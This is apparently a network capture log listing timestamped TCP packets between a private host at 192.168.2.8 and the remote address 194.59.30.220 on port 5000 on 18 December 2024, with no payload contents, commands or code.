Dec 18, 2024 11:56:23.191562891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.192087889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192100048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192141056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192141056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.192161083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192173004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192183018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192204952 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.192218065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192229986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.192238092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192250967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192264080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192274094 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.192275047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192282915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192323923 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.192353964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.192825079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192837954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192847967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192859888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.192881107 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.192912102 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.193034887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.193048000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.193058968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.193069935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.193104029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.193121910 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.211004019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.211179972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.211247921 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.211644888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.260948896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.291038036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.291131973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.291207075 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.291522026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.291534901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.291594982 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.292108059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.292172909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.292215109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.293211937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.293344975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.293389082 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.294322014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.294424057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.294472933 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.295375109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.295527935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.295572996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.296655893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.296766996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.296813011 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.297380924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.297439098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.297481060 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.298486948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.298501015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.298548937 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.299561024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.299765110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.299807072 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.300719976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.300782919 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.300823927 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.301862001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.301949024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.301991940 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.302970886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.303107023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.303148031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.304096937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.304176092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.304281950 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.305289030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.305391073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.305435896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.306457996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.306658030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.306710005 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.307589054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.307751894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.307790041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.308762074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.308865070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.308901072 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.309823036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.309946060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.309983015 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.310981989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.311111927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.311147928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.312112093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.312247038 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.312284946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.313193083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.313206911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.313241959 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.314328909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.314452887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.314490080 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.315556049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.315620899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.315658092 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.316704988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.316725969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.316761971 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.317754984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.317859888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.317895889 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.318871975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.319005966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.319041014 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.319996119 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.320127010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.320163012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.321141958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.321250916 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.321285963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.322257042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.322381973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.322418928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.323384047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.323496103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.323527098 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.324518919 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.324650049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.324687958 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.325685978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.325792074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.325829983 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.326814890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.326874018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.326910019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.327970982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.328195095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.328231096 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.329045057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.329157114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.329195023 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.330176115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.330290079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.330326080 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.331370115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.331650019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.331692934 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.332767010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.332851887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.332890987 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.334036112 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.334135056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.334181070 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.335160017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.335215092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.335263968 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.336045027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.336144924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.336179972 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.337343931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.337471008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.337507010 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.338453054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.338720083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.338754892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.339510918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.339622974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.339659929 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.340512037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.340574980 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.340610981 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.341542006 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.341603041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.341641903 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.342621088 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.342673063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.342709064 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.343776941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.343866110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.343925953 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.344872952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.344994068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.345030069 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.345999956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.346123934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.346159935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.347151041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.347285986 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.347321033 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.347959995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.348062992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.348100901 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.349096060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.349261999 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.349299908 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.481451988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.481542110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.481580973 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.481750965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.481870890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.481906891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.482633114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.482724905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.482758045 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.483535051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.483596087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.483633995 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.484481096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.484585047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.484622955 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.485327959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.485465050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.485501051 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.486248016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.486334085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.486367941 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.487140894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.487246037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.487297058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.488038063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.488147020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.488184929 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.488917112 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.488986969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.489021063 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.489819050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.489933968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.489976883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.490727901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.490806103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.490843058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.491755009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.491826057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.491867065 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.492537975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.492665052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.492712975 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.493405104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.493516922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.493560076 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.494311094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.494496107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.494539976 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.495217085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.495287895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.495328903 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.496102095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.496195078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.496237993 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.497030973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.497107983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.497148991 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.498164892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.498214006 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.498255968 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.499028921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.499104977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.499149084 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.499862909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.500019073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.500061989 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.501091003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.501254082 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.501293898 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.501889944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.502002954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.502048016 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.502481937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.502614975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.502656937 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.503417015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.503489017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.503534079 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.504160881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.504245996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.504287958 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.505088091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.505176067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.505220890 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.505994081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.506158113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.506206036 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.506851912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.507046938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.507096052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.507795095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.507917881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.507970095 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.508646965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.508764029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.508812904 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.509654999 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.509744883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.509794950 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.510540962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.510603905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.510648012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.511364937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.511511087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.511559963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.512325048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.512397051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.512451887 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.513142109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.513289928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.513334990 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.514036894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.514264107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.514309883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.514928102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.515160084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.515206099 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.516177893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.516324043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.516392946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.517050982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.517137051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.517190933 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.517851114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.517930984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.517977953 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.518568039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.518656969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.518707037 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.519462109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.519537926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.519589901 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.520431042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.520536900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.520586014 CET	49706	5000	192.168.2.8	194.59.30.220
